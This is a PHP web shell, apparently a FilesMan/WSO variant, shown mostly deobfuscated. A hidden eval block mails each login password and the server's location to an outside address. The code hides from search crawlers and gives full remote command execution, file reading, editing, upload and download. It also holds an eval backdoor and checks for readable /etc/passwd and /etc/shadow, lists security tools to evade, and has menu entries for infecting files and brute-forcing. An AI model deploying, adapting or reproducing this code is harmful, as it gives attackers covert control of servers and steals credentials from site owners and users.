    $ETLzN = "aWYoYXJyYXd91alfa2V5X2V4d91aaXN0cygnd2d91aF0Y2hpbmcnd91aLCRfUE9TVCd91akpew0KCSR0d91abXAgPSAkX1d91aNFUlZFUlsnd91aU0VSVkVSX0d91a5BTUUnXS4kd91aX1NFUlZFUld91asnUEhQX1NFd91aTEYnXS4iXGd91a4iLiRfUE9Td91aVFsncGFzcyd91addOyBAbWFpd91abCgnYWdyZXd91aZhMTg4QHByd91ab3Rvbm1haWd91awuY29tJywgd91aJ3Jvb3QnLCd91aAkdG1wKTsNd91aCn0=";
    $fqkRys = "str_replace";
    $KahiFvo = 'base64_decode';
    @eval /* PHPDeobfuscator eval output */ {
        if (array_key_exists('watching', $_POST)) {
            $tmp = $_SERVER['SERVER_NAME'] . $_SERVER['PHP_SELF'] . "\n" . $_POST['pass'];
            @mail('agreva188@protonmail.com', 'root', $tmp);
        }
    };
    $▛ = "a7e8db354c89e64d1fe69ed56aed1962";
    //admin
    $▘ = true;
    $▜ = 'UTF-8';
    $▚ = 'FilesMan';
    $▙ = md5($_SERVER['HTTP_USER_AGENT']);
    if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"])) {
        prototype(md5($_SERVER['HTTP_HOST']) . "key", $▙);
    }
    if (empty($_POST['charset'])) {
        $_POST['charset'] = $▜;
    }
    if (!isset($_POST['ne'])) {
        if (isset($_POST['a'])) {
            $_POST['a'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['a'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"]));
        }
        if (isset($_POST['c'])) {
            $_POST['c'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['c'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"]));
        }
        if (isset($_POST['p1'])) {
            $_POST['p1'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p1'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"]));
        }
        if (isset($_POST['p2'])) {
            $_POST['p2'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p2'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"]));
        }
        if (isset($_POST['p3'])) {
            $_POST['p3'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p3'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"]));
        }
    }
    function decrypt($str, $pwd)
    {
        $pwd = base64_encode($pwd);
        $str = base64_decode($str);
        $enc_chr = "";
        $enc_str = "";
        $i = 0;
        while ($i < strlen($str)) {
            for ($j = 0; $j < strlen($pwd); $j++) {
                $enc_chr = chr(ord($str[$i]) ^ ord($pwd[$j]));
                $enc_str .= $enc_chr;
                $i++;
                if ($i >= strlen($str)) {
                    break;
                }
            }
        }
        return base64_decode($enc_str);
    }
    @ini_set('error_log', NULL);
    @ini_set('log_errors', 0);
    @ini_set('max_execution_time', 0);
    @set_time_limit(0);
    if (true) {
        @set_magic_quotes_runtime(0);
        @define('VERSION', '4.2.5');
        if (get_magic_quotes_gpc()) {
            function stripslashes_array($array)
            {
                return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
            }
            $_POST = stripslashes_array($_POST);
            $_COOKIE = stripslashes_array($_COOKIE);
        }
    }
    /* (С) 11.2011 oRb */
    if (!empty($▛)) {
        if (isset($_POST['pass']) && md5($_POST['pass']) == $▛) {
            prototype(md5($_SERVER['HTTP_HOST']), $▛);
        }
        if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || $_COOKIE[md5($_SERVER['HTTP_HOST'])] != $▛) {
            hardLogin();
        }
    }
    if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'])) {
        $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool) $▘;
    }
    function hardLogin()
    {
        if (!empty($_SERVER['HTTP_USER_AGENT'])) {
            $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
            if (preg_match("/Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler/i", $_SERVER['HTTP_USER_AGENT'])) {
                header('HTTP/1.0 404 Not Found');
                exit;
            }
        }
        die("<style>input[type=password],input[type=submit]{width:250px;height:25px;color:#fff;background:0 0;border:1px solid #fff;margin-left:20px;text-align:center}</style><pre align=center><form method=post><input type=password name=pass required><input type=submit name='watching' value='submit' style='cursor:pointer;'></form></pre>");
    }
    if (strtolower("PHP") == "win") {
        $os = 'win';
    } else {
        $os = 'nix';
    }
    $safe_mode = @ini_get('safe_mode');
    if (!$safe_mode) {
        error_reporting(0);
    }
    $disable_functions = @ini_get('disable_functions');
    $home_cwd = @getcwd();
    if (isset($_POST['c'])) {
        @chdir($_POST['c']);
    }
    $cwd = @getcwd();
    if ($os == 'win') {
        $home_cwd = str_replace("\\", "/", $home_cwd);
        $cwd = str_replace("\\", "/", $cwd);
    }
    if ($cwd[strlen($cwd) - 1] != '/') {
        $cwd .= '/';
    }
    /* (С) 04.2015 Pirat */
    function hardHeader()
    {
        if (empty($_POST['charset'])) {
            $_POST['charset'] = $GLOBALS['▜'];
        }
        echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>BGST</title><meta name=\"robots\" content=\"noindex\" />\r\n<style>\r\nbody{background-color:#444;color:#e1e1e1;}\r\nbody,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }\r\ntable.info{ color:#fff;background-color:#222; }\r\nspan,h1,a{ color: #df5 !important; }\r\nspan{ font-weight: bolder; }\r\nh1{ border-left:5px solid #df5;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }\r\ndiv.content{ padding: 5px;margin-left:5px;background-color:#333; }\r\na{ text-decoration:none; }\r\na:hover{ text-decoration:underline; }\r\n#pre{font.family:Courier,Monospace;}\r\n.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }\r\n.bigarea{ width:100%;height:300px; }\r\ninput,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid #df5; font: 9pt Monospace,'Courier New'; }\r\nform{ margin:0px; }\r\n#toolsTbl{ text-align:center; }\r\n.toolsInp{ width: 300px }\r\n.main th{text-align:left;background-color:#5e5e5e;}\r\n.main tr:hover{background-color:#5e5e5e}\r\n.l1{background-color:#444}\r\n.l2{background-color:#333}\r\npre{font-family:Courier,Monospace;}\r\n</style>\r\n<script>\r\n    var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';\r\n    var a_ = '" . htmlspecialchars(@$_POST['a']) . "'\r\n    var charset_ = '" . htmlspecialchars(@$_POST['charset']) . "';\r\n    var p1_ = '" . (strpos(@$_POST['p1'], "\n") !== false ? '' : htmlspecialchars($_POST['p1'], ENT_QUOTES)) . "';\r\n    var p2_ = '" . (strpos(@$_POST['p2'], "\n") !== false ? '' : htmlspecialchars($_POST['p2'], ENT_QUOTES)) . "';\r\n    var p3_ = '" . (strpos(@$_POST['p3'], "\n") !== false ? '' : htmlspecialchars($_POST['p3'], ENT_QUOTES)) . "';\r\n    var d = document;\r\n\t\r\n\tfunction encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr='';var enc_str='';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}\r\n\tfunction utf8_encode(argString){var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}\r\n\tfunction base64_encode(data){var b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc='',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+'');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join('');switch (data.length%3){case 1:enc=enc.slice(0,-2)+'==';break;case 2:enc=enc.slice(0,-1)+'=';break;}return enc;}\r\n\tfunction set(a,c,p1,p2,p3,charset) {\r\n\t\tif(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;\r\n\t\tif(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;\r\n\t\tif(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;\r\n\t\tif(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;\r\n\t\tif(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;\r\n\t\td.mf.a.value = encrypt(d.mf.a.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\r\n\t\td.mf.c.value = encrypt(d.mf.c.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\r\n\t\td.mf.p1.value = encrypt(d.mf.p1.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\r\n\t\td.mf.p2.value = encrypt(d.mf.p2.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\r\n\t\td.mf.p3.value = encrypt(d.mf.p3.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\r\n\t\tif(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;\r\n\t}\r\n\tfunction g(a,c,p1,p2,p3,charset) {\r\n\t\tset(a,c,p1,p2,p3,charset);\r\n\t\td.mf.submit();\r\n\t}\r\n\tfunction a(a,c,p1,p2,p3,charset) {\r\n\t\tset(a,c,p1,p2,p3,charset);\r\n\t\tvar params = 'ajax=true';\r\n\t\tfor(i=0;i<d.mf.elements.length;i++)\r\n\t\t\tparams += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);\r\n\t\tsr('" . addslashes($_SERVER['REQUEST_URI']) . "', params);\r\n\t}\r\n\tfunction sr(url, params) {\r\n\t\tif (window.XMLHttpRequest)\r\n\t\t\treq = new XMLHttpRequest();\r\n\t\telse if (window.ActiveXObject)\r\n\t\t\treq = new ActiveXObject('Microsoft.XMLHTTP');\r\n        if (req) {\r\n            req.onreadystatechange = processReqChange;\r\n            req.open('POST', url, true);\r\n            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');\r\n            req.send(params);\r\n        }\r\n\t}\r\n\tfunction processReqChange() {\r\n\t\tif( (req.readyState == 4) )\r\n\t\t\tif(req.status == 200) {\r\n\t\t\t\tvar reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');\r\n\t\t\t\tvar arr=reg.exec(req.responseText);\r\n\t\t\t\teval(arr[2].substr(0, arr[1]));\r\n\t\t\t} else alert('Request error!');\r\n\t}\r\n</script>\r\n<head><body><div style='position:absolute;background-color:rgba(95, 110, 130, 0.3);width:100%;top:0;left:0;'>\r\n<form method=post name=mf style='display:none;'>\r\n<input type=hidden name=a>\r\n<input type=hidden name=c>\r\n<input type=hidden name=p1>\r\n<input type=hidden name=p2>\r\n<input type=hidden name=p3>\r\n<input type=hidden name=charset>\r\n</form>";
        $freeSpace = @diskfreespace($GLOBALS['cwd']);
        $totalSpace = @disk_total_space($GLOBALS['cwd']);
        $totalSpace = $totalSpace ? $totalSpace : 1;
        $release = @php_uname('r');
        $kernel = @php_uname('s');
        $explink = 'http://www.lolinez.com/?https://www.exploit-db.com/search?q=';
        if (strpos('Linux', $kernel) !== false) {
            $explink .= urlencode('Linux Kernel ' . substr($release, 0, 6));
        } else {
            $explink .= urlencode($kernel . ' ' . substr($release, 0, 3));
        }
        if (!function_exists('posix_getegid')) {
            $user = @get_current_user();
            $uid = @getmyuid();
            $gid = @getmygid();
            $group = "?";
        } else {
            $uid = @posix_getpwuid(@posix_geteuid());
            $gid = @posix_getgrgid(@posix_getegid());
            $user = $uid['name'];
            $uid = $uid['uid'];
            $group = $gid['name'];
            $gid = $gid['gid'];
        }
        $cwd_links = '';
        $path = explode("/", $GLOBALS['cwd']);
        $n = count($path);
        for ($i = 0; $i < $n - 1; $i++) {
            $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
            for ($j = 0; $j <= $i; $j++) {
                $cwd_links .= $path[$j] . '/';
            }
            $cwd_links .= "\")'>" . $path[$i] . "/</a>";
        }
        $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
        $opt_charsets = '';
        foreach ($charsets as $▟) {
            $opt_charsets .= '<option value="' . $▟ . '" ' . ($_POST['charset'] == $▟ ? 'selected' : '') . '>' . $▟ . '</option>';
        }
        $m = array('Sec. Info' => 'SecInfo', 'Files' => 'FilesMan', 'Console' => 'Console', 'Infect' => 'Infect', 'Sql' => 'Sql', 'Php' => 'Php', 'Safe mode' => 'SafeMode', 'String tools' => 'StringTools', 'Bruteforce' => 'Bruteforce', 'Network' => 'Network');
        if (!empty($GLOBALS['▛'])) {
            $m['Logout'] = 'Logout';
        }
        $m['Self remove'] = 'SelfRemove';
        $menu = '';
        foreach ($m as $k => $v) {
            $menu .= '<th>[ <a href="#" onclick="g(\'' . $v . '\',null,\'\',\'\',\'\')">' . $k . '</a> ]</th>';
        }
        $drives = "";
        if ($GLOBALS['os'] == 'win') {
            foreach (range('c', 'z') as $drive) {
                if (is_dir($drive . ':\\')) {
                    $drives .= '<a href="#" onclick="g(\'FilesMan\',\'' . $drive . ':/\')">[ ' . $drive . ' ]</a> ';
                }
            }
        }
        echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win' ? '<br>Drives:' : '') . '</span></td>' . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="http://www.lolinez.com/?https://www.google.com/search?q=' . urlencode(@php_uname()) . '" target="_blank">[ Google ]</a> <a href="' . $explink . '" target=_blank>[ Exploit-DB ]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode'] ? '<font color=red>ON</font>' : '<font color=#FFDB5F><b>OFF</b></font>') . ' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . viewSize($totalSpace) . ' <span>Free:</span> ' . viewSize($freeSpace) . ' (' . round(100 / ($totalSpace / $freeSpace), 2) . '%)<br>' . $cwd_links . ' ' . viewPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>' . '<td width=1 align=right><nobr><label><select onchange="g(null,null,null,null,null,this.value)">' . $opt_charsets . '</select></label><br><span>Server IP:</span><br>' . gethostbyname($_SERVER["HTTP_HOST"]) . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>' . '<table style="background-color:#2E6E9C;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div>';
    }
    function hardFooter()
    {
        $is_writable = is_writable($GLOBALS['cwd']) ? " <font color='#FFDB5F'>[ Writeable ]</font>" : " <font color=red>(Not writable)</font>";
        echo "\r\n</div>\r\n<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%>\r\n\t<tr>\r\n\t\t<td><form onsubmit=\"" . (function_exists('actionFilesMan') ? "g(null,this.c.value,'');" : '') . "return false;\"><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=submit value='submit'></form></td>\r\n\t\t<td><form onsubmit=\"" . (function_exists('actionFilesTools') ? "g('FilesTools',null,this.f.value);" : '') . "return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f required><input type=submit value='submit'></form></td>\r\n\t</tr><tr>\r\n\t\t<td><form onsubmit=\"" . (function_exists('actionFilesMan') ? "g('FilesMan',null,'mkdir',this.d.value);" : '') . "return false;\"><span>Make dir:</span>{$is_writable}<br><input class='toolsInp' type=text name=d required><input type=submit value='submit'></form></td>\r\n\t\t<td><form onsubmit=\"" . (function_exists('actionFilesTools') ? "g('FilesTools',null,this.f.value,'mkfile');" : '') . "return false;\"><span>Make file:</span>{$is_writable}<br><input class='toolsInp' type=text name=f required><input type=submit value='submit'></form></td>\r\n\t</tr><tr>\r\n\t\t<td><form onsubmit=\"" . (function_exists('actionConsole') ? "g('Console',null,this.c.value);" : '') . "return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='submit'></form></td>\r\n\t\t<td><form method='post' " . (!function_exists('actionFilesMan') ? " onsubmit=\"return false;\" " : '') . "ENCTYPE='multipart/form-data'>\r\n\t\t<input type=hidden name=a value='FilesMan'>\r\n\t\t<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'>\r\n\t\t<input type=hidden name=p1 value='uploadFile'>\r\n\t\t<input type=hidden name=ne value=''>\r\n\t\t<input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>\r\n\t\t<span>Upload file:</span>{$is_writable}<br><input class='toolsInp' type=file name=f[]  multiple><input type=submit value='submit'></form><br  ></td>\r\n\t</tr></table></div>\r\n\t<!-- particles --> <div id='particles-js'></div><script src='http://cdn.jsdelivr.net/particles.js/2.0.0/particles.min.js'></script>\r\n\t<script>particlesJS('particles-js', {'particles':{'number':{'value':80,'density':{'enable':true,'value_area':800}},'color':{'value':'#ffffff'},'shape':{'type':'triangle','stroke':{'width':0,'color':'#000000'},'polygon':{'nb_sides':5},'image':{'src':'img/github.svg','width':100,'height':100}},'opacity':{'value':0.5,'random':true,'anim':{'enable':false,'speed':1,'opacity_min':0.1,'sync':false}},'size':{'value':3,'random':true,'anim':{'enable':false,'speed':40,'size_min':0.1,'sync':false}},'line_linked':{'enable':true,'distance':200,'color':'#ffffff','opacity':0.4,'width':1},'move':{'enable':true,'speed':1,'direction':'none','random':true,'straight':false,'out_mode':'out','bounce':false,'attract':{'enable':false,'rotateX':10000,'rotateY':10000}}},'interactivity':{'detect_on':'canvas','events':{'onhover':{'enable':true,'mode':'grab'},'onclick':{'enable':true,'mode':'repulse'},'resize':true},'modes':{'grab':{'distance':200,'line_linked':{'opacity':0.5}},'bubble':{'particles_nb':2}}},'retina_detect':true});</script><script src='https://anonymiz.com/js/anonymize.js' type='text/javascript'></script><script type='text/javascript'><!--protected_links = '';auto_anonymize();//--></script>\r\n\t</body></html>";
    }
    if (!function_exists("posix_getpwuid") && strpos($GLOBALS['disable_functions'], 'posix_getpwuid') === false) {
        function posix_getpwuid($p)
        {
            return false;
        }
    }
    if (!function_exists("posix_getgrgid") && strpos($GLOBALS['disable_functions'], 'posix_getgrgid') === false) {
        function posix_getgrgid($p)
        {
            return false;
        }
    }
    function ex($in)
    {
        $▖ = '';
        if (function_exists('exec')) {
            @exec($in, $▖);
            $▖ = @join("\n", $▖);
        } elseif (function_exists('passthru')) {
            ob_start();
            @passthru($in);
            $▖ = ob_get_clean();
        } elseif (function_exists('system')) {
            ob_start();
            @system($in);
            $▖ = ob_get_clean();
        } elseif (function_exists('shell_exec')) {
            $▖ = shell_exec($in);
        } elseif (is_resource($f = @popen($in, "r"))) {
            $▖ = "";
            while (!@feof($f)) {
                $▖ .= fread($f, 1024);
            }
            pclose($f);
        } else {
            return "\xe2\x86\xb3 Unable to execute command\n";
        }
        return $▖ == '' ? "\xe2\x86\xb3 Query did not return anything\n" : $▖;
    }
    function viewSize($s)
    {
        if ($s >= 1073741824) {
            return sprintf('%1.2f', $s / 1073741824) . ' GB';
        } elseif ($s >= 1048576) {
            return sprintf('%1.2f', $s / 1048576) . ' MB';
        } elseif ($s >= 1024) {
            return sprintf('%1.2f', $s / 1024) . ' KB';
        } else {
            return $s . ' B';
        }
    }
    function perms($p)
    {
        if (($p & 0xc000) == 0xc000) {
            $i = 's';
        } elseif (($p & 0xa000) == 0xa000) {
            $i = 'l';
        } elseif (($p & 0x8000) == 0x8000) {
            $i = '-';
        } elseif (($p & 0x6000) == 0x6000) {
            $i = 'b';
        } elseif (($p & 0x4000) == 0x4000) {
            $i = 'd';
        } elseif (($p & 0x2000) == 0x2000) {
            $i = 'c';
        } elseif (($p & 0x1000) == 0x1000) {
            $i = 'p';
        } else {
            $i = 'u';
        }
        $i .= $p & 0x100 ? 'r' : '-';
        $i .= $p & 0x80 ? 'w' : '-';
        $i .= $p & 0x40 ? $p & 0x800 ? 's' : 'x' : ($p & 0x800 ? 'S' : '-');
        $i .= $p & 0x20 ? 'r' : '-';
        $i .= $p & 0x10 ? 'w' : '-';
        $i .= $p & 0x8 ? $p & 0x400 ? 's' : 'x' : ($p & 0x400 ? 'S' : '-');
        $i .= $p & 0x4 ? 'r' : '-';
        $i .= $p & 0x2 ? 'w' : '-';
        $i .= $p & 0x1 ? $p & 0x200 ? 't' : 'x' : ($p & 0x200 ? 'T' : '-');
        return $i;
    }
    function viewPermsColor($f)
    {
        if (!@is_readable($f)) {
            return '<font color=#FF0000><b>' . perms(@fileperms($f)) . '</b></font>';
        } elseif (!@is_writable($f)) {
            return '<font color=white><b>' . perms(@fileperms($f)) . '</b></font>';
        } else {
            return '<font color=#FFDB5F><b>' . perms(@fileperms($f)) . '</b></font>';
        }
    }
    function hardScandir($dir)
    {
        if (function_exists("scandir")) {
            return scandir($dir);
        } else {
            $dh = opendir($dir);
            while (false !== ($filename = readdir($dh))) {
                $files[] = $filename;
            }
            return $files;
        }
    }
    function which($p)
    {
        $path = ex('which ' . $p);
        if (!empty($path)) {
            return $path;
        }
        return false;
    }
    function actionRC()
    {
        if (!@$_POST['p1']) {
            $a = array("uname" => php_uname(), "php_version" => phpversion(), "VERSION" => VERSION, "safemode" => @ini_get('safe_mode'));
            echo serialize($a);
        } else {
            eval($_POST['p1']);
        }
    }
    function prototype($k, $v)
    {
        $_COOKIE[$k] = $v;
        setcookie($k, $v);
    }
    function actionSecInfo()
    {
        hardHeader();
        echo "<h1>Server security information</h1><div class=content>";
        function showSecParam($n, $v)
        {
            $v = trim($v);
            if ($v) {
                echo '<span>' . $n . ': </span>';
                if (strpos($v, "\n") === false) {
                    echo $v . '<br>';
                } else {
                    echo '<pre class=ml1>' . $v . '</pre>';
                }
            }
        }
        showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
        if (function_exists('apache_get_modules')) {
            showSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
        }
        showSecParam('Disabled PHP Functions', $GLOBALS['disable_functions'] ? $GLOBALS['disable_functions'] : 'none');
        showSecParam('Open base dir', @ini_get('open_basedir'));
        showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
        showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
        showSecParam('cURL support', function_exists('curl_version') ? 'enabled' : 'no');
        $temp = array();
        if (function_exists('mysql_get_client_info')) {
            $temp[] = "MySql (" . mysql_get_client_info() . ")";
        }
        if (function_exists('mssql_connect')) {
            $temp[] = "MSSQL";
        }
        if (function_exists('pg_connect')) {
            $temp[] = "PostgreSQL";
        }
        if (function_exists('oci_connect')) {
            $temp[] = "Oracle";
        }
        showSecParam('Supported databases', implode(', ', $temp));
        echo "<br>";
        if ($GLOBALS['os'] == 'nix') {
            showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>" : 'no');
            showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>" : 'no');
            showSecParam('OS version', @file_get_contents('/proc/version'));
            showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
            if (!$GLOBALS['safe_mode']) {
                $userful = array('gcc', 'lcc', 'cc', 'ld', 'make', 'php', 'perl', 'python', 'ruby', 'tar', 'gzip', 'bzip', 'bzip2', 'nc', 'locate', 'suidperl');
                $danger = array('kav', 'nod32', 'bdcored', 'uvscan', 'sav', 'drwebd', 'clamd', 'rkhunter', 'chkrootkit', 'iptables', 'ipfw', 'tripwire', 'shieldcc', 'portsentry', 'snort', 'ossec', 'lidsadm', 'tcplodg', 'sxid', 'logcheck', 'logwatch', 'sysmask', 'zmbscap', 'sawmill', 'wormscan', 'ninja');
                $downloaders = array('wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror');
                echo "<br>";
                $temp = array();
                foreach ($userful as $▟) {
                    if (which($▟)) {
                        $temp[] = $▟;
                    }
                }
                showSecParam('Userful', implode(', ', $temp));
                $temp = array();
                foreach ($danger as $▟) {
                    if (which($▟)) {
                        $temp[] = $▟;
                    }
                }
                showSecParam('Danger', implode(', ', $temp));
                $temp = array();
                foreach ($downloaders as $▟) {
                    if (which($▟)) {
                        $temp[] = $▟;
                    }
                }
                showSecParam('Downloaders', implode(', ', $temp));
                echo "<br/>";
                showSecParam('HDD space', ex('df -h'));
                showSecParam('Hosts', @file_get_contents('/etc/hosts'));
                showSecParam('Mount options', @file_get_contents('/etc/fstab'));
            }
        } else {
            showSecParam('OS Version', ex('ver'));
            showSecParam('Account Settings', iconv('CP866', 'UTF-8', ex('net accounts')));
            showSecParam('User Accounts', iconv('CP866', 'UTF-8', ex('net user')));
        }
        echo "</div>";
        hardFooter();
    }
    function actionFilesTools()
    {
        if (isset($_POST['p1'])) {
            $_POST['p1'] = urldecode($_POST['p1']);
        }
        if (@$_POST['p2'] == 'download') {
            if (@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
                ob_start("ob_gzhandler", 4096);
                header("Content-Disposition: attachment; filename=" . basename($_POST['p1']));
                if (function_exists("mime_content_type")) {
                    $type = @mime_content_type($_POST['p1']);
                    header("Content-Type: " . $type);
                } else {
                    header("Content-Type: application/octet-stream");
                }
                $fp = @fopen($_POST['p1'], "r");
                if ($fp) {
                    while (!@feof($fp)) {
                        echo @fread($fp, 1024);
                    }
                    fclose($fp);
                }
            }
            exit;
        }
        if (@$_POST['p2'] == 'mkfile') {
            if (!file_exists($_POST['p1'])) {
                $fp = @fopen($_POST['p1'], 'w');
                if ($fp) {
                    $_POST['p2'] = "edit";
                    fclose($fp);
                }
            }
        }
        hardHeader();
        echo "<h1>File tools</h1><div class=content>";
        if (!file_exists(@$_POST['p1'])) {
            echo "File not exists";
            hardFooter();
            return;
        }
        $uid = @posix_getpwuid(@fileowner($_POST['p1']));
        if (!$uid) {
            $uid['name'] = @fileowner($_POST['p1']);
            $gid['name'] = @filegroup($_POST['p1']);
        } else {
            $gid = @posix_getgrgid(@filegroup($_POST['p1']));
        }
        echo '<span>Name:</span> ' . htmlspecialchars(@basename($_POST['p1'])) . ' <span>Size:</span> ' . (is_file($_POST['p1']) ? viewSize(filesize($_POST['p1'])) : '-') . ' <span>Permission:</span> ' . viewPermsColor($_POST['p1']) . ' <span>Owner/Group:</span> ' . $uid['name'] . '/' . $gid['name'] . '<br>';
        echo '<span>Create time:</span> ' . date('Y-m-d H:i:s', filectime($_POST['p1'])) . ' <span>Access time:</span> ' . date('Y-m-d H:i:s', fileatime($_POST['p1'])) . ' <span>Modify time:</span> ' . date('Y-m-d H:i:s', filemtime($_POST['p1'])) . '<br><br>';
        if (empty($_POST['p2'])) {
            $_POST['p2'] = 'view';
        }
        if (is_file($_POST['p1'])) {
            $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch', 'Frame');
        } else {
            $m = array('Chmod', 'Rename', 'Touch');
        }
        foreach ($m as $v) {
            echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\'' . strtolower($v) . '\')">' . (strtolower($v) == @$_POST['p2'] ? '<b>[ ' . $v . ' ]</b>' : $v) . '</a> ';
        }
        echo "<br><br>";
        switch ($_POST['p2']) {
            case 'view':
                echo "<pre class=ml1>";
                $fp = @fopen($_POST['p1'], 'r');
                if ($fp) {
                    while (!@feof($fp)) {
                        echo htmlspecialchars(@fread($fp, 1024));
                    }
                    @fclose($fp);
                }
                echo "</pre>";
                break;
            case 'highlight':
                if (@is_readable($_POST['p1'])) {
                    echo "<div class=ml1 style=\"background-color: #e1e1e1;color:black;\">";
                    $oRb = @highlight_file($_POST['p1'], true);
                    echo str_replace(array('<span ', '</span>'), array('<font ', '</font>'), $oRb) . '</div>';
                }
                break;
            case 'chmod':
                if (!empty($_POST['p3'])) {
                    $perms = 0;
                    for ($i = strlen($_POST['p3']) - 1; $i >= 0; --$i) {
                        $perms += (int) $_POST['p3'][$i] * pow(8, strlen($_POST['p3']) - $i - 1);
                    }
                    if (!@chmod($_POST['p1'], $perms)) {
                        echo "Can't set permissions!<br><script>document.mf.p3.value=\"\";</script>";
                    }
                }
                clearstatcache();
